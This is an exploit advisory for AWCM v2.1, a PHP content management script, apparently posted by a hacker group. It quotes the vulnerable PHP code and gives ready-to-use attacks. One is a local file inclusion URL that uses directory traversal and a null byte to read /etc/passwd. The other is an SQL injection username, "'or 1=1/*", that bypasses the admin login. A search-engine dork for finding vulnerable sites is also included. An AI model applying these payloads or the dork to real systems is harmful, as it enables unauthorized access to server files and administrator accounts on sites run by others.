AWCM 2.1 Local File Inclusion / SQL Injection

`---------------------------------AWCM v2.1 (LFI/Auth Bypass) Vulnerabilities---------------------------------------  
#   
# #### # ### ## ### #### #### ### ##### #### #### ### # ### #### ######  
## # # ## # # # # # # # # # # # # # # # # # # # ## # # # # # #  
# # # # # # # # # # # # # # # # # # # # # # # # #   
# # ### # # ### # # ## ### ### # # # # ### ## # # # ### #   
#### # # #### # # ###### # # # # # # # # # # # # # # #   
# # # # # # # # # # # # # # ## # # # # # # # ## # #   
## ##### ## ###### ### ### #### ### # # ### #### #### ### # ### # #### ###   
  
  
#----------------------------------------------------------------------------------------------------------------  
Script : AWCM  
version : v2.1  
Language:PHP  
Demo : http://awcm.sourceforge.net/  
Download : http://awcm.sourceforge.net/ar/down_pro.php?id=30  
Dork: intext:Powered by AWCM v2.1  
Found by :SwEET-DeViL  
  
need magic_quotes_gpc = Off  
  
#----------------------------------------------------------------------------------------------------------------  
::: Local File Disclosure Vulnerability :::  
)=> a.php  
.................................................................................................................  
if (isset($_GET['a'])) {  
$a = $_GET['a']; <======================================:{  
if (file_exists("addons/$a/index.php")) {  
include ("addons/$a/index.php");  
}  
.................................................................................................................  
#Exploit:  
  
http://www.site.com/a.php?a=../../../../../../../../etc/passwd%00  
  
##############################################################################  
::: Auth Bypass SQL Injection Vulnerability :::  
  
)=> login.php AND control/login.php  
  
.................................................................................................................  
if(isset($_GET['do'])) {  
$user = $_POST['username']; <======================================:{  
$pass = md5($_POST['password']);  
  
$cp_login_query = mysql_query("SELECT id,username,password,level FROM awcm_members WHERE level = 'admin' AND username = '$user' AND password = '$pass'");  
.................................................................................................................  
#Exploit:  
  
put as username : 'or 1=1/*  
  
##############################################################################  
  
www.arab4services.net  
/---------------------------------------------------\  
|+------------------------------------------------+ |  
|| SwEET-DeViL & viP HaCkEr | |  
|| gamr-14(at)hotmail.com | |  
|+------------------------------------------------+ |  
\---------------------------------------------------/  
  
  
`